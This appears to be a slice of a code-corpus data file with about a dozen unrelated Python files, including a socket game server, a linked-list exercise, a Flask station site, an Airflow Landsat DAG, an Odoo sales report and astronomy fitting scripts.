'place-order')\n]\n","sub_path":"sellers/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"523293316","text":"from socket import *\nfrom _thread import *\nimport json\n\n\nclass Server:\n def __init__(self, ip, anzahl):\n\n self.host = ip\n self.port = 40000\n\n self.sock = socket(AF_INET, SOCK_STREAM)\n\n self.sock.bind((self.host, self.port))\n\n self.sock.listen(anzahl + 1)\n\n self.conns = []\n self.players = []\n self.names = []\n while len(self.conns) < anzahl:\n conn, addr = self.sock.accept()\n self.conns.append(conn)\n\n for number, conn in enumerate(self.conns):\n conn.send('init'.encode())\n init = conn.recv(1024).decode()\n init = init.split(';')\n if init[0] is 'Spieler':\n self.players.append(conn)\n self.names.append(init[1])\n elif init is 'Welt':\n self.world = conn\n print('Alle Spieler verbunden.')\n for player in self.players:\n start_new_thread(clientthread, (player, self.world, number,))\n data = [0, 0,\n ['start', [len(self.players)], {'%d' % number: '%s' % name for number, name in enumerate(self.names)}]]\n self.world.send(json.dumps(data))\n\n\ndef clientthread(player, world, number):\n data = 'Spieler %d verbunden.\\n' % number\n player.send(data.encode())\n while True:\n # Receive request from instance Game\n data = player.recv(1024)\n # Check if message type is request.\n msg_type = json.loads(data)[1]\n\n if msg_type is 1:\n # Sends request to world.\n world.send(data)\n else:\n data = [3, 0, ['Fehler: Keine gültige Anfrage.', [], {}]]\n player.send(json.dumps(data))\n\n # Receive response from World\n data = world.recv(1024)\n # Check if message type is response.\n msg_type = json.loads(data)[1]\n if msg_type is 1:\n # Sends request to world.\n player.send(data)\n else:\n data = [3, 0, ['Fehler: Keine gültige Antwort.', [], {}]]\n player.send(json.dumps(data))\n player.close()\n","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"77762085","text":"from __future__ import print_function\nimport unittest\n\nclass linked_list:\n class node:\n def __init__ (self, value, next):\n self.value = value\n self.next = next\n\n # do not put in getters and setters as they are not needed\n\n def __init__(self, initial = None):\n # for extra credit, add in the elements of initial\n self.front = self.back = None\n\n def empty(self):\n return self.front == self.back == None\n\n def __iter__(self):\n self.current = self.front\n return self\n\n def __next__(self):\n if self.current:\n tmp = self.current.value\n self.current = self.current.next\n return tmp\n else:\n raise StopIteration()\n\n def __str__(self):\n pass\n\n def __repr__(self):\n # extra credit\n pass\n\n def push_front(self, value):\n old = self.front\n new = self.node(value, self.front)\n if self.empty():\n self.front = self.back = self.node(value, None)\n else:\n new.next = old\n self.front = new\n\n def push_back(self, value):\n\n new = self.node(value, None)\n\n if self.empty():\n\n self.push_front(value)\n\n else:\n\n self.back.next = new\n\n self.back = new\n\n\n\n def pop_front(self):\n\n\n if self.empty():\n\n raise RuntimeError\n\n elif self.front == self.back:\n\n new = self.front.value\n\n self.front = self.back = None\n\n return new\n else:\n\n new = self.front.value\n\n self.front = self.front.next\n\n return new\n\n\n def pop_back(self):\n\n if self.empty():\n\n raise RuntimeError\n\n elif self.front == self.back:\n\n new = self.front.value\n\n self.front = self.back = None\n\n return new\n\n else:\n sheesh = self.back.value\n\n new = self.front\n\n while new.next != self.back:\n\n new = new.next\n\n self.back = new\n\n new.next = None\n\n return sheesh\n\n\n\nclass test_linked_list (unittest.TestCase):\n def test_none(self):\n self.assertTrue(linked_list().empty())\n def test_pop_front_empty(self):\n self.assertRaises(RuntimeError, lambda: linked_list().pop_front())\n def test_pop_back_empty(self):\n self.assertRaises(RuntimeError, lambda: linked_list().pop_back())\n def test_push_back_pop_front(self):\n ll = linked_list()\n ll.push_back(1)\n ll.push_back(2)\n ll.push_back(3)\n self.assertFalse(ll.empty())\n self.assertEquals(ll.pop_front(), 1)\n self.assertEquals(ll.pop_front(), 2)\n self.assertEquals(ll.pop_front(), 3)\n self.assertTrue(ll.empty())\n def test_push_front_pop_front(self):\n ll = linked_list()\n ll.push_front(1)\n ll.push_front(2)\n ll.push_front(3)\n self.assertEquals(ll.pop_front(), 3)\n self.assertEquals(ll.pop_front(), 2)\n self.assertEquals(ll.pop_front(), 1)\n self.assertTrue(ll.empty())\n def test_push_front_pop_back(self):\n ll = linked_list()\n ll.push_front(1)\n ll.push_front(2)\n ll.push_front(3)\n self.assertFalse(ll.empty())\n self.assertEquals(ll.pop_back(), 1)\n self.assertEquals(ll.pop_back(), 2)\n self.assertEquals(ll.pop_back(), 3)\n self.assertTrue(ll.empty())\n def test_push_back_pop_back(self):\n ll = linked_list()\n ll.push_back(1)\n ll.push_back(\"foo\")\n ll.push_back([3,2,1])\n self.assertFalse(ll.empty())\n self.assertEquals(ll.pop_back(),[3,2,1])\n self.assertEquals(ll.pop_back(), \"foo\")\n self.assertEquals(ll.pop_back(), 1)\n self.assertTrue(ll.empty())\n\n\n","sub_path":"Assig 1/tutor/Tutoring.py","file_name":"Tutoring.py","file_ext":"py","file_size_in_byte":3834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"621037856","text":"# -*- coding: utf-8 -*-\nimport os\nimport urllib\nfrom flask import Flask, render_template, make_response, abort, request\nfrom google.appengine.api import urlfetch\nimport cloudstorage as gcs\n\napp = Flask(__name__)\n# メモ\n# パッケージのインストール方法\n# pip install -t lib -r requirements.txt\n\nhostname = \"ichiwear.jp\"\nbucket_name = \"ichiwearjp.appspot.com\"\n\ndef is_dev():\n \"開発モードならばTrueを返却する\"\n server_software = os.getenv('SERVER_SOFTWARE', '')\n if server_software.startswith(\"Development\"):\n return True\n else:\n return False\n\n@app.route(\"/\")\ndef index():\n \"トップページ\"\n return render_template('index.html',\n version=1,station_id=0,hostname=hostname)\n\n@app.route(\"/\")\ndef station(id):\n \"個別駅ページ\"\n if(id < 1):\n abort(404)\n return render_template('index.html',\n version=1,station_id=id,hostname=hostname)\n\n\n@app.route(\"/station/\")\ndef station_json(id):\n try:\n gcs_file = gcs.open(\"/%s/json/%07d.json\" % (bucket_name,id));\n body = gcs_file.read()\n gcs_file.close()\n res = make_response(body)\n res.headers['Content-Type'] = 'application/json'\n res.headers['cache-control'] = 'public, max-age=3600'\n return res\n except gcs.errors.NotFoundError:\n # 見つからないケース\n abort(404)\n\n@app.route(\"/twitter_card_image/\")\ndef station_image(id):\n try:\n gcs_file = gcs.open(\"/%s/image/%07d.png\" % (bucket_name,id));\n body = gcs_file.read()\n gcs_file.close()\n res = make_response(body)\n res.headers['Content-Type'] = 'image/png'\n res.headers['cache-control'] = 'public, max-age=3600'\n return res\n except gcs.errors.NotFoundError:\n # 見つからないケース\n abort(404)\n\n\n@app.route(\"/guide.html\")\ndef guide():\n return render_template('guide.html',version=1)\n\n@app.route(\"/privacy.html\")\ndef privacy():\n return render_template('privacy.html',version=1)\n\n@app.route(\"/upload/\",methods=['POST'])\ndef setup(path):\n \"gcsにファイルをアップロードする。ローカルサーバーでのみ使える\"\n # URLデコードする\n path = urllib.unquote(path)\n if is_dev():\n # ローカルサーバーのみで使える\n filename = \"/%s/%s\" % (bucket_name,path)\n write_retry_params = gcs.RetryParams(backoff_factor=1.1)\n content_type = request.headers[\"Content-Type\"]\n gcs_file = gcs.open(filename,'w',content_type=content_type,retry_params=write_retry_params)\n gcs_file.write(request.data)\n gcs_file.close()\n return \"OK\"\n else:\n abort(404)\n\n@app.route(\"/twitter_card\")\ndef twitter_card():\n if is_dev():\n ruby = request.args.get('ruby','')\n name = request.args.get('name','')\n address = request.args.get('address','')\n return render_template('twitter_card.html',ruby=ruby,name=name,address=address)\n else:\n abort(404)\n\n@app.route(\"/w285ng\")\ndef test_twitter_card():\n \"トップページ\"\n return render_template('test_twitter_card.html',hostname=hostname)\n","sub_path":"gae/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"614545173","text":"import pafy\n\ndef get_audio(video):\n audio = video.getbestaudio()\n audio.download()\n\ndef get_playlist(link):\n playlist = pafy.get_playlist2(link)\n for video in playlist:\n get_audio(video)\n\ndef get_video(link):\n video = pafy.new(link)\n get_audio(video)\n\ndef main():\n link = input(\"Enter music video / playlist url: \")\n try:\n if \"playlist\" in link:\n get_playlist(link)\n else:\n get_video(link)\n print(\"\\n\")\n except:\n print(\"\\n\\nError downloading. Check that: link is valid, internet connection is availible, and youtube-dl is up to date.\\n\\n\")\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"musicDownloader.py","file_name":"musicDownloader.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"330667477","text":"#this will label the largest community as colored. I'm using P14T3\n#slancast@scg4.stanford.edu:/srv/gsfs0/projects/snyder/slancast/repertoire/\n#Andrew is interested in plotting the largest community, too. I will do this with\n#the original formatting and with a new formatting just on that community, too.\n\nimport numpy as np\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport community\nimport pyparsing\nimport pickle\n\n'''\nfh=open(\"edgefiles/edgesstringP14T3.csv\", 'r')\nfg=fh.readlines()\nedges=[]\nG = nx.Graph()\nfor entry in fg:\n\tentry=entry.split(\",\")\n\tif len(entry) == 2:\n\t\tG.add_node(entry[0])\n\t\tG.add_node(entry[1].strip())\n\t\tG.add_edge(entry[0],entry[1].strip())\n\t\t\n\nnx.write_gml(G,\"P14T3.gml.gz\")\n'''\n\nG = nx.read_gml(\"P14T3.gml.gz\")\n\npartition = community.best_partition(G)\n\nwith open(\"P14T3communities.txt\", 'wb') as f:\n pickle.dump(partition, f)\n\nmost_common={}\nfor entry in partition.values():\n\tif entry in most_common:\n\t\tmost_common[entry] = most_common[entry]+1\n\telse:\n\t\tmost_common[entry] = 1\n\t\t\n#most_common_community = max(most_common, key=lambda key: most_common[key])\n#I am using the sorted function instead to give the second most common community too.\n\nmost_common_community=sorted(most_common, key=most_common.get, reverse=True)[0]\n\nsecond_most_common_community=sorted(most_common, key=most_common.get, reverse=True)[1]\n\nthird_most_common_community=sorted(most_common, key=most_common.get, reverse=True)[2]\n\nprint(most_common_community)\n\nprint(\"adding nodes\")\n\nlist_nodes = []\nfor entry in partition.keys() :\n if partition[entry] == most_common_community:\n \tlist_nodes.append(entry)\n \t\nsecond_list_nodes = []\nfor entry in partition.keys() :\n if partition[entry] == second_most_common_community:\n \tsecond_list_nodes.append(entry)\n \t\nthird_list_nodes = []\nfor entry in partition.keys() :\n if partition[entry] == third_most_common_community:\n \tthird_list_nodes.append(entry)\n\npos = pickle.load(open(\"P14T3graphLayout.txt\",\"rb\"))\n\n'''\npos = nx.fruchterman_reingold_layout(G)\n\n\nwith open(\"P14T3graphLayout.txt\", 'wb') as f:\n pickle.dump(pos, f)\n#saving layout for reuse.\n'''\n\n\n\nnx.draw_networkx_nodes(G, pos, node_shape=\".\", linewidths =0.0, node_color='black',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, list_nodes, node_shape=\".\", linewidths =0.0, node_color='green',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, second_list_nodes, node_shape=\".\", linewidths =0.0, node_color='blue',node_size=0.1)\nnx.draw_networkx_edges(G, pos, width=0.001)\n\nplt.savefig(\"./P14T3ColoredCommunitytwo.pdf\")\nplt.clf()\n\nnx.draw_networkx_nodes(G, pos, node_shape=\".\", linewidths =0.0, node_color='black',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, list_nodes, node_shape=\".\", linewidths =0.0, node_color='green',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, third_list_nodes, node_shape=\".\", linewidths =0.0, node_color='blue',node_size=0.1)\nnx.draw_networkx_edges(G, pos, width=0.001)\n\nplt.savefig(\"./P14T3ColoredCommunitythrid.pdf\")\nplt.clf()\n\nnx.draw_networkx_nodes(G, pos, node_shape=\".\", linewidths =0.0, node_color='black',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, list_nodes, node_shape=\".\", linewidths =0.0, node_color='green',node_size=0.1)\nnx.draw_networkx_edges(G, pos, width=0.001)\n\nplt.savefig(\"./P14T3ColoredCommunityone.pdf\")\nplt.clf()\n\n\nH = G.subgraph(list_nodes)\nnx.draw_networkx_nodes(H, pos, node_shape=\".\", linewidths =0.0, node_color='green',node_size=2.5)\nnx.draw_networkx_edges(H, pos, width=0.001)\n\nplt.savefig(\"./P14T3Subgraph.pdf\")\nplt.clf()\n\n\nI = nx.node_connected_component(G,list_nodes[0])\nnx.draw_networkx_nodes(G, pos, node_shape=\".\", linewidths =0.0, node_color='black',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, I, node_shape=\".\", linewidths =0.0, node_color='green',node_size=0.1)\nnx.draw_networkx_edges(G, pos, width=0.001)\n\nplt.savefig(\"./P14T3ConnectedCommunities.pdf\")\nplt.clf()\n\nI = nx.node_connected_component(G,second_list_nodes[0])\nnx.draw_networkx_nodes(G, pos, node_shape=\".\", linewidths =0.0, node_color='black',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, I, node_shape=\".\", linewidths =0.0, node_color='blue',node_size=0.1)\nnx.draw_networkx_edges(G, pos, width=0.001)\n\nplt.savefig(\"./P14T3ConnectedCommunitiessecond.pdf\")\nplt.clf()\n\nI = nx.node_connected_component(G,third_list_nodes[0])\nnx.draw_networkx_nodes(G, pos, node_shape=\".\", linewidths =0.0, node_color='black',node_size=0.1)\nnx.draw_networkx_nodes(G, pos, I, node_shape=\".\", linewidths =0.0, node_color='blue',node_size=0.1)\nnx.draw_networkx_edges(G, pos, width=0.001)\n\nplt.savefig(\"./P14T3ConnectedCommunitiesthird.pdf\")\nplt.clf()\n\npos = nx.fruchterman_reingold_layout(H)\nnx.draw_networkx_nodes(H, pos, node_shape=\".\", linewidths =0.0, node_color='green',node_size=2.5)\nnx.draw_networkx_edges(H, pos, width=0.001)\n\nplt.savefig(\"./P14T3SubgraphNewLayout.pdf\")\nplt.clf()\n\n","sub_path":"networkxP14T3colored.py","file_name":"networkxP14T3colored.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"646966816","text":"import plotly.express as px\r\nimport numpy as np\r\nimport csv\r\n\r\nwith open(\"coffee.csv\") as data_file:\r\n df = csv.DictReader(data_file)\r\n fig = px.scatter(df, x = \"Coffee in ml\", y = \"sleep in hours\", color = \"week\")\r\n fig.show()\r\n\r\ndef get_data_source(data_path):\r\n coffee = []\r\n sleep = []\r\n with open(data_path) as data_csv:\r\n bruh = csv.DictReader(data_csv)\r\n for row in bruh:\r\n coffee.append(float(row['Coffee in ml']))\r\n sleep.append(float(row['sleep in hours']))\r\n return {\"x\": coffee, \"y\": sleep}\r\n\r\ndef find_correlation(data_source):\r\n correlation = np.corrcoef(data_source[\"x\"], data_source[\"y\"])\r\n print(correlation[0,1])\r\n\r\ndef setup():\r\n data_path = \"coffee.csv\"\r\n data_source = get_data_source(data_path)\r\n find_correlation(data_source)\r\n\r\nsetup()","sub_path":"coffee.py","file_name":"coffee.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"267657254","text":"\"\"\"\nGiven an array A of positive lengths, return the largest perimeter of a triangle with non-zero area, formed from 3 of these lengths.\n\nIf it is impossible to form any triangle of non-zero area, return 0.\n\nExample 1:\n Input: [2,1,2]\n Output: 5\n\nExample 2:\n Input: [1,2,1]\n Output: 0\n\nExample 3:\n Input: [3,2,3,4]\n Output: 10\n\nExample 4:\n Input: [3,6,2,3]\n Output: 8\n\nNote:\n 3 <= A.length <= 10000\n 1 <= A[i] <= 10^6\n\"\"\"\n\ndef largestPerimeter(A):\n # sort the lengths list A\n A = sorted(A)\n longest_perimeter = 0\n # reversely iterate over the lengths list A\n for i in reversed(range(2, len(A))):\n # calculate the sum of the previous two nums\n sum = A[i - 2] + A[i - 1]\n # it the sum is bigger than this one, the triangle is valid\n if sum > A[i]:\n sum += A[i]\n # update the longest perimeter\n if sum > longest_perimeter:\n longest_perimeter = sum\n return longest_perimeter\n\ninput1 = [2,1,2]\ninput2 = [1,2,1]\ninput3 = [3,2,3,4]\ninput4 = [3,6,2,3]\nprint(largestPerimeter(input4))\n","sub_path":"LeetCode-Python/976 Largest Perimeter Triangle.py","file_name":"976 Largest Perimeter Triangle.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"577210419","text":"from behave import when, then\nfrom selenium.webdriver.common.by import By\n\nHELP_SEARCH = (By.ID, 'helpsearch')\nSEARCH_ICON = (By.CSS_SELECTOR, \"input.a-button-input\")\nHELP_CONTENT = (By.CSS_SELECTOR, \"div.help-content h1\")\n\n\n@when('Search for \"Cancel order\" and Click Go')\ndef search_help(context):\n search_help_field = context.driver.find_element(*HELP_SEARCH)\n search_help_field.clear()\n search_help_field.send_keys(\"Cancel order\")\n context.driver.find_element(*SEARCH_ICON).click()\n\n\n@then('Verify that \"Cancel Items or Orders\" text is present')\ndef verify_result(context):\n result_text = context.driver.find_element(*HELP_CONTENT).text\n assert \"Cancel Items or Orders\" in result_text\n","sub_path":"features/steps/help_page_steps.py","file_name":"help_page_steps.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"303167529","text":"\"\"\"\nRun ARD NRT provisional pipeline for Landsat in Airflow.\n\"\"\"\nimport logging\nfrom datetime import datetime, timedelta\n\nfrom kubernetes.client.models import V1Volume, V1VolumeMount\nfrom kubernetes.client import models as k8s\n\nfrom airflow import DAG\nfrom airflow.kubernetes.secret import Secret\nfrom airflow.providers.cncf.kubernetes.operators.kubernetes_pod import (\n KubernetesPodOperator,\n)\n\nfrom infra.images import WAGL_IMAGE_POC\nfrom infra.pools import WAGL_TASK_POOL\nfrom infra.sns_topics import PUBLISH_ARD_NRT_LS_SNS\nfrom infra.sqs_queues import ARD_NRT_LS_PROCESS_SCENE_QUEUE\nfrom infra.variables import ARD_NRT_LS_CREDS\n\n_LOG = logging.getLogger()\n\ndefault_args = {\n \"owner\": \"Imam Alam\",\n \"depends_on_past\": False,\n \"start_date\": datetime(2021, 6, 1),\n \"email\": [\"imam.alam@ga.gov.au\"],\n \"email_on_failure\": False,\n \"email_on_retry\": False,\n \"retries\": 0,\n \"retry_delay\": timedelta(minutes=5),\n \"pool\": WAGL_TASK_POOL,\n \"secrets\": [\n Secret(\"env\", None, ARD_NRT_LS_CREDS),\n Secret(\"env\", None, \"modtran-key\"),\n ],\n}\n\nESTIMATED_COMPLETION_TIME = 3 * 60 * 60\n\nBUCKET_REGION = \"ap-southeast-2\"\nS3_PREFIX = \"s3://dea-public-data/baseline/\"\nEXPLORER_URL = \"https://explorer-aws.dea.ga.gov.au\"\n\nMAX_ACTIVE_RUNS = 80\n\naffinity = {\n \"nodeAffinity\": {\n \"requiredDuringSchedulingIgnoredDuringExecution\": {\n \"nodeSelectorTerms\": [\n {\n \"matchExpressions\": [\n {\n \"key\": \"nodegroup\",\n \"operator\": \"In\",\n \"values\": [\n \"memory-optimised-wagl-s2-nrt-r5-l\",\n ],\n }\n ]\n }\n ]\n }\n }\n}\n\ntolerations = [\n {\"key\": \"dedicated\", \"operator\": \"Equal\", \"value\": \"wagl\", \"effect\": \"NoSchedule\"}\n]\n\nancillary_volume_mount = V1VolumeMount(\n name=\"wagl-nrt-ancillary-volume\",\n mount_path=\"/ancillary\",\n sub_path=None,\n read_only=False,\n)\n\nancillary_volume = V1Volume(\n name=\"wagl-nrt-ancillary-volume\",\n persistent_volume_claim=k8s.V1PersistentVolumeClaimVolumeSource(\n claim_name=\"wagl-nrt-ancillary-volume\"\n ),\n)\n\npipeline = DAG(\n \"k8s_ard_nrt_landsat_provisional\",\n doc_md=__doc__,\n default_args=default_args,\n description=\"DEA Landsat ARD NRT processing (provisional)\",\n concurrency=MAX_ACTIVE_RUNS,\n max_active_runs=MAX_ACTIVE_RUNS,\n catchup=False,\n params={},\n schedule_interval=timedelta(minutes=1),\n tags=[\"k8s\", \"dea\", \"psc\", \"ard\", \"wagl\", \"nrt\", \"landsat\", \"provisional\"],\n)\n\nwith pipeline:\n RUN = KubernetesPodOperator(\n namespace=\"processing\",\n name=\"dea-ard-nrt-landsat-provisional\",\n task_id=\"dea-ard-nrt-landsat-provisional\",\n image_pull_policy=\"IfNotPresent\",\n image=WAGL_IMAGE_POC,\n affinity=affinity,\n tolerations=tolerations,\n startup_timeout_seconds=600,\n cmds=[\"/scripts/aws-process-scene-landsat.sh\"],\n arguments=[\n ARD_NRT_LS_PROCESS_SCENE_QUEUE,\n S3_PREFIX,\n PUBLISH_ARD_NRT_LS_SNS,\n EXPLORER_URL,\n ],\n labels={\n \"runner\": \"airflow\",\n \"product\": \"Landsat\",\n \"app\": \"nrt\",\n \"stage\": \"wagl\",\n },\n env_vars=dict(\n MODTRAN_DATA=\"/ancillary/MODTRAN6.0.2.3G/DATA\",\n ),\n get_logs=True,\n resources={\n \"request_cpu\": \"1000m\",\n \"request_memory\": \"12Gi\",\n },\n volumes=[ancillary_volume],\n volume_mounts=[ancillary_volume_mount],\n execution_timeout=timedelta(minutes=180),\n is_delete_operator_pod=True,\n )\n","sub_path":"dags/ard/k8s_ard_nrt_landsat_provisional.py","file_name":"k8s_ard_nrt_landsat_provisional.py","file_ext":"py","file_size_in_byte":3787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"104178532","text":"from django.conf.urls import url\nfrom . import views\nurlpatterns = [\n url(r\"^$\",views.order1),\n url(r\"^all\",views.all_order_list),\n url(r\"^payend\",views.payend_list),\n url(r\"^nopay\",views.nopay_list),\n url(r\"^delete\",views.deleteit),\n url(r\"^cancel\",views.cancelit),\n]","sub_path":"scooping/order/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"653399279","text":"import math\nimport pyqtgraph as pg\n\nt = range(0,100)\nx = [0] * len(t)\ny = [0] * len(t)\n\nfor idx, val in enumerate(t):\n\tx[idx] = float(val) * 0.01\n\ty[idx] = math.sin(2 * math.pi * x[idx])\n\t\np = pg.plot(x,y)\n\nwin = pg.GraphicsWindow()\nwin.addPlot(p)\n\npg.show()\n\nprint(x)\nprint(y)\n","sub_path":"Graph/real_time.py","file_name":"real_time.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"596900374","text":"# -*- coding: utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nfrom collections import deque\nimport json\n\nfrom odoo import http\nfrom odoo.http import request\nfrom odoo.tools import ustr\nfrom odoo.tools.misc import xlwt\n\nfrom datetime import datetime\nfrom datetime import date\nimport ast\n\nimport logging\n_logger = logging.getLogger(__name__)\n\n\nclass SalesReportByInvoice(http.Controller):\n\n\t@http.route('/web/export_xls/sales_report_by_invoice', type='http', auth=\"user\")\n\tdef export_xls(self, filename, date_from, date_to, **kw):\n\t\tworkbook = xlwt.Workbook()\n\t\tworksheet = workbook.add_sheet('Sales Report By Invoice')\n\n\t\tinvoice_ids = request.env['account.invoice'].sudo().search([('date_invoice','>=',date_from),('date_invoice','<=',date_to)],order='date_invoice desc')\n\n\t\t# STYLES\n\t\tstyle_header_bold = xlwt.easyxf(\"font: bold on;font: name Calibri;align: wrap no\")\n\t\tstyle_header_right = xlwt.easyxf(\"font: name Calibri;align: horiz right, wrap no\")\n\t\tstyle_table_header_bold = xlwt.easyxf(\"font: bold on;font: name Calibri;align: horiz centre, vert centre, wrap on;borders: top thin, bottom thin, right thin;\")\n\t\tstyle_table_row = xlwt.easyxf(\"font: name Calibri;align: horiz left, wrap no;borders: top thin, bottom thin, right thin;\")\n\t\tstyle_table_row_amount = xlwt.easyxf(\"font: name Calibri;align: horiz right, wrap no;borders: top thin, bottom thin, right thin;\", num_format_str=\"#,##0.00\")\n\t\tstyle_table_total = xlwt.easyxf(\"pattern: pattern solid, fore_colour pale_blue;font: bold on;font: name Calibri;align: horiz left, wrap no;borders: top thin, bottom medium, right thin;\")\n\t\tstyle_table_total_value = xlwt.easyxf(\"pattern: pattern solid, fore_colour pale_blue;font: bold on;font: name Calibri;align: horiz right, wrap no;borders: top thin, bottom medium, right thin;\", num_format_str=\"#,##0.00\")\n\t\tstyle_end_report = xlwt.easyxf(\"font: bold on;font: name Calibri;align: horiz left, wrap no;\")\n\t\tworksheet.col(0).width = 300*12\n\t\tworksheet.col(1).width = 300*12\n\t\tworksheet.col(2).width = 500*12\n\t\tworksheet.col(3).width = 500*12\n\t\tworksheet.col(4).width = 250*12\n\t\tworksheet.col(5).width = 250*12\n\t\tworksheet.col(6).width = 250*12\n\t\tworksheet.col(7).width = 300*12\n\t\tworksheet.col(8).width = 250*12\n\n\t\t# TEMPLATE HEADERS\n\n\t\t# TABLE HEADER\n\t\tworksheet.write(0, 0, 'CITY', style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 1, 'AREA', style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 2, 'SALES AGENT', style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 3, \"CLIENT'S NAME\", style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 4, 'TERMS', style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 5, 'DUE DATE', style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 6, 'INVOICE DATE', style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 7, 'INVOICE NO.', style_table_header_bold) # HEADER\n\t\tworksheet.write(0, 8, 'AMOUNT', style_table_header_bold) # HEADER\n\t\t\n\t\trow_count = 1\n\n\t\tfor invoice in invoice_ids:\n\t\t\t\n\n\t\t\tworksheet.write(row_count, 0, invoice.partner_id.city or '', style_table_row) \n\t\t\tworksheet.write(row_count, 1, invoice.partner_id.partner_area_id.name or '', style_table_row) \n\t\t\tworksheet.write(row_count, 2, invoice.user_id.name or '', style_table_row) \n\t\t\tworksheet.write(row_count, 3, invoice.partner_id.name or '', style_table_row) \n\t\t\tworksheet.write(row_count, 4, invoice.payment_term_id.name or '', style_table_row) \n\t\t\tworksheet.write(row_count, 5, invoice.date_due or '', style_table_row) \n\t\t\tworksheet.write(row_count, 6, invoice.date_invoice or '', style_table_row) \n\t\t\tworksheet.write(row_count, 7, invoice.number or '', style_table_row) \n\t\t\tworksheet.write(row_count, 8, invoice.amount_total or '', style_table_row_amount) \n\t\t\trow_count +=1\n\t \n\n\t\tresponse = request.make_response(None,\n\t\t\theaders=[('Content-Type', 'application/vnd.ms-excel'),\n\t\t\t\t\t('Content-Disposition', 'attachment; filename=%s;'%(filename)\n\t\t\t\t\t)])\n\n\t\tworkbook.save(response.stream)\n\n\t\treturn response\n","sub_path":"indigo_prod/controllers/sales_report_by_invoice.py","file_name":"sales_report_by_invoice.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"437009094","text":"#!/usr/bin/env python3\n# Author: Simeon Reusch (simeon.reusch@desy.de)\n# License: BSD-3-Clause\n\nimport logging, os, argparse, time, json\nimport numpy as np\nimport pandas as pd\nimport matplotlib\nfrom astropy import units as u\nimport matplotlib.pyplot as plt\nimport json\nfrom modelSED import utilities, fit, sncosmo_spectral_v13\nfrom modelSED.utilities import broken_powerlaw_spectrum, FNU\nfrom astropy.cosmology import Planck15 as cosmo\n\n# from modelSED.fit import powerlaw_minimizer\nfrom lmfit import Model, Parameters, Minimizer, report_fit, minimize\n\nnice_fonts = {\n \"text.usetex\": True,\n \"font.family\": \"serif\",\n \"font.serif\": \"Times New Roman\",\n}\nmatplotlib.rcParams.update(nice_fonts)\n\nLIGHTCURVE_INFILE = os.path.join(\"data\", \"lightcurves\", \"full_lightcurve.csv\")\n\n# MJD_INTERVALS = [[58700, 58720], [59006, 59032], [59110, 59130], [59220,59265]]\nMJD_INTERVALS = [[58700, 58720], [59006, 59130], [59220, 59271]]\n\n# FITPARAMS_FILE = os.path.join(\"data\", \"fitparams_late_epoch.json\")\nMJD = 59005.12846212167\nREDSHIFT = 0.2666\nFONTSIZE = 12\nFONTSIZE_LABEL = 13\nFONTSIZE_LEGEND = 5\nANNOTATION_FONTSIZE = 8\nFONTSIZE_TICKMARKS = 9\nFIG_WIDTH = 6\nDPI = 400\nINSTRUMENT_DATA_DIR = \"instrument_data\"\nPLOTDIR = os.path.join(\"plots\", \"double_blackbody\")\nFITDIR = os.path.join(\"fit\", \"double_blackbody\")\n\n## EXTINCTION FROM EPOCH 1\n# GLOBAL_AV = 1.48477495\n# GLOBAL_RV = 3.93929588\n\n## EXTINCTION FROM EPOCH 0\nGLOBAL_AV = 0.3643711523794127\nGLOBAL_RV = 4.2694173002543225\n\nFITMETHOD = \"lm\"\n\nREFIT = True\nFIT = 3\nINTERVALS = [0]\nEXTINCTIONFIT_INTERVAL = 4\n\n\nfor directory in [PLOTDIR, FITDIR]:\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef load_info_json(filename: str):\n with open(os.path.join(INSTRUMENT_DATA_DIR, filename + \".json\")) as json_file:\n outfile = json.load(json_file)\n return outfile\n\n\ndef double_blackbody_minimizer(params, x, data=None, data_err=None, **kwargs):\n \"\"\" \"\"\"\n filter_wl = utilities.load_info_json(\"filter_wl\")\n\n wl_filter = {v: k for k, v in filter_wl.items()}\n\n temp1 = 